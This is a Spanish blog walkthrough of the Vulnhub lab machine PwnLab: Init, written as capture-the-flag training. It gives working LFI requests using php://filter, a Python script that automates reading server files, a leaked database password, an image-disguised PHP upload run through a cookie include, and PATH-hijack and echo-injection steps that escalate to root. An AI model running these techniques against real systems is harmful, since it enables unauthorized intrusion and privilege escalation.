Saltar al contenido
Volver al Blog

writeups · 4 min de lectura

PwnLab: Init - WriteUp (Vulnhub)

Write-up de PwnLab: Init (Vulnhub): LFI con wrappers, subida de fichero para RCE y escalada vía SUID/PATH e inyección en echo.

· Manuel López Pérez · writeups

Write-up de PwnLab: Init (Vulnhub): LFI con wrappers, subida de fichero para RCE y escalada vía SUID/PATH e inyección en echo.

Buenas, soy @manulqwerty y hoy vamos a resolver una maquina muy interesante de Vulnhub. La máquina es PwnLab: Init

WriteUp

Lo primero es iniciar la máquina y buscar la ip:

 nmap -T4 192.168.1.0/24 # o bien netdiscover -i wlan0

En mi caso:- IP Maquina: 192.168.1.37

  • IP Atacante: 192.168.1.43

Enumeración

El primer paso será un escaneo de puertos con nmap:

nmap -sC -sV 192.168.1.37

Vemos que hay un servicio mysql que permite conexiones desde el exterior y un servicio web. Echemosle un ojo a la web: Como veis la URL es http://192.168.1.37/?page=login , que nada más verla me recordó a la máquina Crimestoppers de HackTheBox Así que vamos a probar si podemos leer los php del servidor aprovechando los wrappers tal y como leemos en el lfi-cheat-sheet

curl http://192.168.1.37/?page=php://filter/convert.base64-encode/resource=login

Como veis funciona, para automatizar el proceso nos haremos un pequeño script de python (https://github.com/manulqwerty/CTF-Stuff/blob/master/pwnlabinitLFI.py):

 #!/usr/bin/python3

import requests import base64 import re

def getPhpCode(filename): r = requests.get("http://192.168.1.37/?page=php://filter/convert.base64-encode/resource=" + filename); # looking for a base64 string result = re.search('PD9(.*?)</center>',r.text).group(1) b64 = "PD9"+result+"==" return base64.b64decode(b64)

if __name__ == '__main__': while True: cmd = input("> ") try: output = getPhpCode(cmd) print(output.decode('unicode_escape')) except: if cmd == 'exit': break print("ERROR")

El primer fichero que leí fue el index.php:

En las primeras lineas vemos algo extraño, se incluye el fichero que se indique en la cookie lang:

 <?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?>

Por ahora esto no nos sirve de mucho, pero si conseguimos subir un php, podemos ejecutarlo con esta cookie.

Continuemos leyendo los php del servidor con el fin de encontrar unas credenciales que nos sirvan En el fichero config.php leemos las credenciales del mysql, al que podemos acceder remotamente:

 <?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>

Explotación

Una vez tenemos acceso a la subida de ficheros, tenemos que ver cómo subir un php ya que en principio solo permite imagenes:

 <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".webp",".webp");

if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); }

if(strpos($filetype,'image') === false) { die('Error 001'); }

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); }

if(substr_count($filetype, '/')>1){ die('Error 003'); }

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src="".$uploadfile.""><br />"; } else { die('Error 4'); } } }

?>

Como veis, se valida la extensión, el tipo y el magic number del fichero. Así que debemos añadir los magic numbers de una imagen y entonces añadir el php.

Bien! Hemos conseguido subir la imagen que contiene el php; ahora podremos aprovechar la cookie lang para ejecutar esta imagen:

Post-Explotación

Ya tenemos shell, probemos las credenciales que obtuvimos en el mysql:

Como veis las de mike no funcionan; en la carpeta home de kane encontramos un fichero: msgmike con el bit suid activado Vamos a descargarlo:

 # En PwnLab: python -m SimpleHTTPServer 8000 # En el atacante: wget http://192.168.1.37:8000/msgmike

Abramoslo con radare2 para enterarnos mejor de lo que hace el programa: Como veis, el programa ejecuta ‘cat /home/mike/msg.txt’ como mike

La forma de escalar a mike es creándonos un binario cat y modificando la variable de entorno PATH para que el sistema ejecute nuestro cat:

 echo '/bin/bash' > cat echo $PATH export PATH=. ./msgmike export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Una vez somos mike, vemos otro fichero que nos permitirá escalar a root en /home/mike; descarguemoslo: Esta vez vamos a abrilo con IDA PRO El programa ejecuta ‘/bin/echo %s >> /root/messages.txt’ como root lo cual nos permite inyectar codigo bash que será ejecutado como root: Ejecutemos una shell reversa para obtener shell como root: Perfecto! Ya somos root:

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
WriteUp – Quaoar (VulnHub)

writeups · 2 min

WriteUp – Quaoar (VulnHub)

Write-up de Quaoar (VulnHub): máquina sencilla para iniciarse en pentesting. Explotamos WordPress con credenciales por defecto y subimos webshell para RCE, luego escalamos a root con DirtyCow.

· Manuel López Pérez

Seguridad en LLMs: Modelado de Amenazas y Prompt Injection

writeups · 7 min

Seguridad en LLMs: Modelado de Amenazas y Prompt Injection

Análisis exhaustivo de las amenazas de seguridad en Large Language Models (LLMs), técnicas de ataque como prompt injection, y caso práctico del reto A.D.I.C. 7 del CyberH2O CTF.

· Manuel López Pérez